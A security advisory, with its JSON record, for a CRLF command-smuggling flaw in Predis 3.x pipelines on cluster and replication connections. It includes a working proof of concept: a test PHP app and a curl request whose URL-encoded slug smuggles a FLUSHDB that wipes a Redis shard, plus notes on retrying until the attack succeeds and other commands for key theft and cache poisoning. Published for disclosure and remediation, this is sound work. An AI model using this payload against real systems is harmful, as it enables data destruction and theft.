GHSA-W6F5-V2H6-G786
Vulnerability from github – Published: 2026-09-08 20:57 – Updated: 2026-09-08 20:57Summary
An improper CRLF neutralization flaw in Predis' pipeline handling on aggregate connections lets an unauthenticated attacker who can influence any pipelined argument — a value or a key, e.g. a URL slug used as a cache key — smuggle arbitrary Redis commands into the connection.
- On cluster connections (
clusteroption, incl. client-side sharding) this is remote command injection: shard-wideFLUSHDB, targetedDEL/SET, same-slot key theft viaGET, cache poisoning, and possible node/cluster outage. - On replication connections (
replicationoption) it is a reliable, repeatable denial of service (uncaught fatal error) triggered by any value containing\r\n.
Details
When a pipeline is executed over an aggregate connection,
AbstractAggregateConnection::write() re-parses the already-serialized pipeline
buffer with explode("\r\n") instead of honoring RESP length prefixes:
- https://github.com/predis/predis/blob/v3.2.0/src/Connection/AbstractAggregateConnection.php#L78-L94
- splits the buffer on
\r\n, ignoring$<len>bulk lengths, - rebuilds each chunk via
Command::deserializeCommand()(https://github.com/predis/predis/blob/v3.2.0/src/Command/Command.php#L157) to decide routing, - writes each chunk to the connection chosen for that (fake) command.
RESP is length-prefixed, so the Redis server parses the original stream
correctly — but this second, client-side parser treats attacker-controlled
\r\n sequences as command boundaries. An argument such as:
PAD\r\n*1\r\n$7\r\nFLUSHDB
is a single data value to the server, but a complete, valid FLUSHDB command to
the re-parser. The consequence depends on the connection type:
- Replication: a pipeline forces
switchToMaster(), so all chunks go to the master and the byte stream stays intact — but the misaligned chunk makesdeserializeCommand()throw an uncaughtUnexpectedValueException: Invalid serializing format. Any value containing\r\n(binary serializers such as igbinary/msgpack, or multi-line text) reliably crashes the request. This is the crash tracked in #1574 — an unauthenticated, repeatable DoS. - Cluster: chunks are routed to different nodes by slot, so the byte stream is split across sockets. The smuggled command arrives on a node whose stream is clean and is executed, though the application never sent it:
FLUSHDBwipes an entire shard. It has no key but is routable becauseClusterStrategy::getFakeKey()hardcodes the fake key'key'(https://github.com/predis/predis/blob/v3.2.0/src/Cluster/ClusterStrategy.php#L56 and #L243-L246), so the smuggled command always lands on the node servingslot('key').INFO(same fake-key routing) leaks server configuration via orphaned responses;CLUSTER FLUSHSLOTScan take a node down.- Same-slot
GET/SET/DELallow key theft (the reply is attributed to the application's own later command on that slot), cache poisoning and targeted data destruction; junk-key floods can exhaust node memory (OOM / mass eviction of legitimate keys). - Lua execution is not reachable:
EVALcannot be reconstructed (the class isEVAL_due to the PHP reserved word),EVAL_ROfails theKeystrait validation, andEVALSHArequires a pre-loaded script. This is accidental, not a designed mitigation, and does not reduce severity —FLUSHDB/DEL/SETalone already permit full cache wipes and data destruction.
Affected versions. Introduced in v3.0.0 by PR #1438 ("Improved pipeline
abstractions"). Affected range: 3.0.0-RC1 through 3.2.0 (v3.0.0-alpha1 is not
affected — the vulnerable code was added after it). v1.x and v2.x are not
affected; their pipelines write per-command via writeRequest() and the
vulnerable code path does not exist.
Only pipeline() reaches the vulnerable sink; transaction() / MULTI paths do
not.
Proof of concept
Two plain redis:8 containers acting as two shards (PredisCluster shards
client-side, so Redis itself need not be in cluster mode); a PHP app on a
vulnerable Predis checkout (e.g. v3.2.0).
docker-compose.yml:
services:
redis1:
image: redis:8
ports: ["6391:6379"]
redis2:
image: redis:8
ports: ["6392:6379"]
index.php (a normal-looking app — slug from URL → cache lookup):
<?php
require __DIR__ . '/vendor/autoload.php';
$nodes = ['tcp://127.0.0.1:6391', 'tcp://127.0.0.1:6392'];
$client = new Predis\Client($nodes, ['cluster' => 'predis',
'parameters' => ['read_write_timeout' => 2]]);
if (isset($_GET['seed'])) {
for ($i = 1; $i <= 100; $i++) { $client->set("user:$i", "data$i"); }
exit('seeded');
}
$slug = $_GET['slug'] ?? '';
try {
[$doc] = $client->pipeline()->get("slug:$slug")->execute();
echo $doc ?: 'no such slug';
} catch (Throwable $e) {
http_response_code(500);
echo get_class($e);
}
Run:
composer require predis/predis:3.2.0
docker compose up -d
php -S 127.0.0.1:8080 -t .
curl 'http://127.0.0.1:8080/?seed' # 100 keys
Attack (smuggled FLUSHDB inside the slug):
curl 'http://127.0.0.1:8080/?slug=PAD4%0D%0A*1%0D%0A%247%0D%0AFLUSHDB'
The slug's first line must hash to a different shard than the fake key 'key'
(otherwise the truncated bytes swallow the injection and the request simply
404s). With two shards this is ~50% per attempt — retry PAD0, PAD1, … until
the request returns 500. More shards make the attack easier: the per-attempt
hit probability is (N-1)/N, so on production clusters with many shards the
first request succeeds with near-certainty.
Verified result: dbsize across both shards drops 100 → 62; one shard was wiped
by a FLUSHDB the application never issued (it only ever ran GET/SET on
normal keys). The fix was confirmed A/B: the same PoC wipes a shard on the parent
of commit 053cb4b6 and fails on 053cb4b6.
Impact
CWE-93 (Improper Neutralization of CRLF Sequences) leading to Redis command
injection / protocol smuggling and denial of service. Any application on
predis/predis 3.0.0-RC1 – 3.2.0 that calls pipeline() on a cluster or
replication connection and includes attacker-influenced data (values or
keys — e.g. cache keys built from URL slugs) in the pipelined commands is
affected. This is a common pattern for cache lookups, sessions and queued
writes.
- Cluster: unauthenticated remote command injection — shard-wide cache wipe
(
FLUSHDB), targeted destruction (DEL), cache poisoning (SET), same-slot key theft (GET), node memory exhaustion (key flood), possible cluster outage (CLUSTER FLUSHSLOTS). - Replication: reliable unauthenticated DoS on every affected request.
Remediation
Upgrade to predis/predis 3.3.0 or later. The fix (PR #1586, commit
053cb4b6) makes pipelines on aggregate connections write each command using the
real Command object, eliminating the second, byte-splitting parser.
Users who cannot upgrade immediately should avoid calling pipeline() on
aggregate (cluster / replication) connections with any attacker-influenced keys
or values; there is no reliable in-application way to neutralize the embedded
\r\n while the second parser remains in the code path.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "predis/predis"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0-RC1"
},
{
"fixed": "3.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-84372"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-08T20:57:50Z",
"nvd_published_at": "2026-09-01T22:17:18Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nAn improper CRLF neutralization flaw in Predis\u0027 pipeline handling on\naggregate connections lets an unauthenticated attacker who can influence any\npipelined argument \u2014 a value **or** a key, e.g. a URL slug used as a cache key \u2014\nsmuggle arbitrary Redis commands into the connection.\n\n- On **cluster** connections (`cluster` option, incl. client-side sharding) this\n is remote command injection: shard-wide `FLUSHDB`, targeted `DEL`/`SET`,\n same-slot key theft via `GET`, cache poisoning, and possible node/cluster\n outage.\n- On **replication** connections (`replication` option) it is a reliable,\n repeatable denial of service (uncaught fatal error) triggered by any value\n containing `\\r\\n`.\n\n### Details\n\nWhen a pipeline is executed over an aggregate connection,\n`AbstractAggregateConnection::write()` re-parses the already-serialized pipeline\nbuffer with `explode(\"\\r\\n\")` instead of honoring RESP length prefixes:\n\n- https://github.com/predis/predis/blob/v3.2.0/src/Connection/AbstractAggregateConnection.php#L78-L94\n - splits the buffer on `\\r\\n`, ignoring `$\u003clen\u003e` bulk lengths,\n - rebuilds each chunk via `Command::deserializeCommand()`\n (https://github.com/predis/predis/blob/v3.2.0/src/Command/Command.php#L157)\n to decide routing,\n - writes each chunk to the connection chosen for that (fake) command.\n\nRESP is length-prefixed, so the Redis **server** parses the original stream\ncorrectly \u2014 but this second, client-side parser treats attacker-controlled\n`\\r\\n` sequences as command boundaries. An argument such as:\n\n PAD\\r\\n*1\\r\\n$7\\r\\nFLUSHDB\n\nis a single data value to the server, but a complete, valid `FLUSHDB` command to\nthe re-parser. The consequence depends on the connection type:\n\n- **Replication:** a pipeline forces `switchToMaster()`, so all chunks go to the\n master and the byte stream stays intact \u2014 but the misaligned chunk makes\n `deserializeCommand()` throw an uncaught `UnexpectedValueException: Invalid\n serializing format`. Any value containing `\\r\\n` (binary serializers such as\n igbinary/msgpack, or multi-line text) reliably crashes the request. This is\n the crash tracked in #1574 \u2014 an unauthenticated, repeatable DoS.\n- **Cluster:** chunks are routed to different nodes by slot, so the byte stream\n is split across sockets. The smuggled command arrives on a node whose stream\n is clean and is **executed**, though the application never sent it:\n - `FLUSHDB` wipes an entire shard. It has no key but is routable because\n `ClusterStrategy::getFakeKey()` hardcodes the fake key `\u0027key\u0027`\n (https://github.com/predis/predis/blob/v3.2.0/src/Cluster/ClusterStrategy.php#L56\n and #L243-L246), so the smuggled command always lands on the node serving\n `slot(\u0027key\u0027)`.\n - `INFO` (same fake-key routing) leaks server configuration via orphaned\n responses; `CLUSTER FLUSHSLOTS` can take a node down.\n - Same-slot `GET`/`SET`/`DEL` allow key theft (the reply is attributed to the\n application\u0027s own later command on that slot), cache poisoning and targeted\n data destruction; junk-key floods can exhaust node memory (OOM / mass\n eviction of legitimate keys).\n - Lua execution is **not** reachable: `EVAL` cannot be reconstructed (the\n class is `EVAL_` due to the PHP reserved word), `EVAL_RO` fails the `Keys`\n trait validation, and `EVALSHA` requires a pre-loaded script. This is\n accidental, not a designed mitigation, and does not reduce severity \u2014\n `FLUSHDB`/`DEL`/`SET` alone already permit full cache wipes and data\n destruction.\n\n**Affected versions.** Introduced in v3.0.0 by PR #1438 (\"Improved pipeline\nabstractions\"). Affected range: **3.0.0-RC1 through 3.2.0** (v3.0.0-alpha1 is not\naffected \u2014 the vulnerable code was added after it). v1.x and v2.x are not\naffected; their pipelines write per-command via `writeRequest()` and the\nvulnerable code path does not exist.\n\nOnly `pipeline()` reaches the vulnerable sink; `transaction()` / `MULTI` paths do\nnot.\n\n### Proof of concept\n\nTwo plain `redis:8` containers acting as two shards (PredisCluster shards\nclient-side, so Redis itself need not be in cluster mode); a PHP app on a\nvulnerable Predis checkout (e.g. v3.2.0).\n\n`docker-compose.yml`:\n\n services:\n redis1:\n image: redis:8\n ports: [\"6391:6379\"]\n redis2:\n image: redis:8\n ports: [\"6392:6379\"]\n\n`index.php` (a normal-looking app \u2014 slug from URL \u2192 cache lookup):\n\n \u003c?php\n require __DIR__ . \u0027/vendor/autoload.php\u0027;\n\n $nodes = [\u0027tcp://127.0.0.1:6391\u0027, \u0027tcp://127.0.0.1:6392\u0027];\n $client = new Predis\\Client($nodes, [\u0027cluster\u0027 =\u003e \u0027predis\u0027,\n \u0027parameters\u0027 =\u003e [\u0027read_write_timeout\u0027 =\u003e 2]]);\n\n if (isset($_GET[\u0027seed\u0027])) {\n for ($i = 1; $i \u003c= 100; $i++) { $client-\u003eset(\"user:$i\", \"data$i\"); }\n exit(\u0027seeded\u0027);\n }\n\n $slug = $_GET[\u0027slug\u0027] ?? \u0027\u0027;\n try {\n [$doc] = $client-\u003epipeline()-\u003eget(\"slug:$slug\")-\u003eexecute();\n echo $doc ?: \u0027no such slug\u0027;\n } catch (Throwable $e) {\n http_response_code(500);\n echo get_class($e);\n }\n\nRun:\n\n composer require predis/predis:3.2.0\n docker compose up -d\n php -S 127.0.0.1:8080 -t .\n curl \u0027http://127.0.0.1:8080/?seed\u0027 # 100 keys\n\nAttack (smuggled `FLUSHDB` inside the slug):\n\n curl \u0027http://127.0.0.1:8080/?slug=PAD4%0D%0A*1%0D%0A%247%0D%0AFLUSHDB\u0027\n\nThe slug\u0027s first line must hash to a different shard than the fake key `\u0027key\u0027`\n(otherwise the truncated bytes swallow the injection and the request simply\n404s). With two shards this is ~50% per attempt \u2014 retry `PAD0`, `PAD1`, \u2026 until\nthe request returns 500. More shards make the attack **easier**: the per-attempt\nhit probability is `(N-1)/N`, so on production clusters with many shards the\nfirst request succeeds with near-certainty.\n\nVerified result: `dbsize` across both shards drops 100 \u2192 62; one shard was wiped\nby a `FLUSHDB` the application never issued (it only ever ran `GET`/`SET` on\nnormal keys). The fix was confirmed A/B: the same PoC wipes a shard on the parent\nof commit `053cb4b6` and fails on `053cb4b6`.\n\n### Impact\n\nCWE-93 (Improper Neutralization of CRLF Sequences) leading to Redis command\ninjection / protocol smuggling and denial of service. Any application on\n**predis/predis 3.0.0-RC1 \u2013 3.2.0** that calls `pipeline()` on a cluster or\nreplication connection and includes attacker-influenced data (values **or**\nkeys \u2014 e.g. cache keys built from URL slugs) in the pipelined commands is\naffected. This is a common pattern for cache lookups, sessions and queued\nwrites.\n\n- **Cluster:** unauthenticated remote command injection \u2014 shard-wide cache wipe\n (`FLUSHDB`), targeted destruction (`DEL`), cache poisoning (`SET`), same-slot\n key theft (`GET`), node memory exhaustion (key flood), possible cluster outage\n (`CLUSTER FLUSHSLOTS`).\n- **Replication:** reliable unauthenticated DoS on every affected request.\n\n### Remediation\n\nUpgrade to **predis/predis 3.3.0 or later**. The fix (PR #1586, commit\n`053cb4b6`) makes pipelines on aggregate connections write each command using the\nreal `Command` object, eliminating the second, byte-splitting parser.\n\nUsers who cannot upgrade immediately should avoid calling `pipeline()` on\naggregate (cluster / replication) connections with any attacker-influenced keys\nor values; there is no reliable in-application way to neutralize the embedded\n`\\r\\n` while the second parser remains in the code path.",
"id": "GHSA-w6f5-v2h6-g786",
"modified": "2026-09-08T20:57:51Z",
"published": "2026-09-08T20:57:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/predis/predis/security/advisories/GHSA-w6f5-v2h6-g786"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84372"
},
{
"type": "WEB",
"url": "https://github.com/predis/predis/issues/1574"
},
{
"type": "WEB",
"url": "https://github.com/predis/predis/pull/1586"
},
{
"type": "WEB",
"url": "https://github.com/predis/predis/commit/053cb4b6ac7fb1f469ead96a78d059bc0458e408"
},
{
"type": "PACKAGE",
"url": "https://github.com/predis/predis"
},
{
"type": "WEB",
"url": "https://github.com/predis/predis/releases/tag/v3.3.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Predis: Redis command injection and denial of service via CRLF smuggling in pipelined commands on aggregate connections"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.